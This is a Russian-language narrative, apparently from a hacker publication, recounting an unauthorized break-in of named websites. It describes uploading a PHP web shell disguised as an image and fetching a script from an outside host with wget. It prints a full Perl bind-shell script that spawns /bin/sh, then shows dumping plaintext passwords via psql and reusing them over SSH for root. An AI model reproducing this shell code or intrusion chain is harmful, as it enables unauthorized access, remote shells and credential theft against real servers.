Однажды вечером один неизвестный хакер, называющий себя Traliman, бродил по просторам Интернета в поисках статей про замечательный язык Java. И вот как-то случайно он наткнулся на сайт www.prefnews.ru, специализировавшийся как раз на данной тематике. Движок сайта показался простым, но в то же время совсем не знакомым хакеру. “Скорее всего самопальный”, - подумал он. А как известно самопальные движки славятся своей дырявостью. Наш герой, недолго думая, решил это проверить на практике. Его внимание привлек один раздел, в котором любой желающий мог добавить новость по теме сайта. Форма состояла из стандартных полей, плюс к каждой своей новости можно было добавить картинку, тогда хакер вспомнил про старый эксплоит для распространенной Coppermine Photo Gallery. Эксплоит представлял из себя картинку одновременно являющуюся php шеллом. Вот его то наш герой и добавил в качестве иллюстрации к своей новости. Каково же было его удивление, когда сервер принял новость без единой ошибки, и на странице засиял знакомый логотип
(как потом оказалось, на сайт можно было залить любой php файл). Щелкнув правой кнопкой на картинке хакер узнал место расположения файла – http://www.prefnews.ru/pics/art/157.php. Таким образом был получен веб шелл с правами apache. Но такое положение дел не устраивало хакера, он во что бы то не стало решил поднять привилегии. Для этого он ввел в строке браузера
http://www.prefnews.ru/pics/art/157.php? wget%20http://somewere.com/back1.pl и
http://www.prefnews.ru/pics/art/157.php? /usr/bin/perl%20back1.pl , где back1.pl был следующего содержания:
#!/usr/bin/perl -w
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY));
listen (S, 50);
while (1){
accept (X, S);
if (!($pid = fork)){
if(!defined $pid){exit(0);}
open STDIN,"<";
open STDOUT,">";
open STDERR,">";
exec("/bin/sh -i");
close X;}}
Далее хакер скомандовал telnet www.prefnews.ru 31337 и начал испытывать многочисленные локальные эксплоиты, но не тут то было, быстрый взлом не удался. Тогда Traliman начал более детальное изучение сервера. Просмотр /etc/httpd/conf/httpd.conf показал, что это был сервер компании
linux-online и на нем хостились такие сайты, как www.linuxshop.ru, www.linux-xp.ru и др. Посмотрев каталог с сайтами хакер увидел там очень интересную директорию admin.linux-online, причем в ней лежал очень интересный файлик login.cgi, который как ни странно оказался доступным на чтение. Как вы уже догадались, это был скрипт аутентифицирующий пользователей, аутентификация производилась через postgreSQL базу, и, естественно, в найденном файле было все, что нужно хакеру: логин, пароль, имя базы, имя таблицы и соответствующие запросы. Он тут же скомандовал psql –d baza –U login –W, ввел пароль и всего два запроса:
SELECT login FROM lol_sys_users\g и
SELECT password FROM lol_sys_users\g
Хакер опять удивился - пароли в базе хранились в открытом виде. Таки
образом он получил доступ к admin.linux-online.ru, это была система управления Интернет магазином
www.linuxshop.ru. Ну и обязательно надо было попробовать эти аккаунты на ssh доступ, что наш герой и сделал. Было найдено два рабочих аккаунта, один из которых принадлежал техническому директору
(он же админ), видимо ему не хотелось запоминать много паролей поэтому он использовал один, в том числе и для rootа
🙂 Таким образом был проделан путь от юзера apache до суперпользователя. Перед хакером не стояло задачи удержаться в системе,
дефейсить кучу сайтов также не хотелось, поэтому в корне серевера и в папке /root был создан файл Adminu с описанием уязвимостей и контактным e-mailом. Как вы могли заметить сервер был плохо защищен скорее всего это из за того, что все используемые скрипты самопальные, да и наверно ребята просто не ожидали локального нападения, потому что все проекты, хостящиеся на сайте принадлежат им же самим.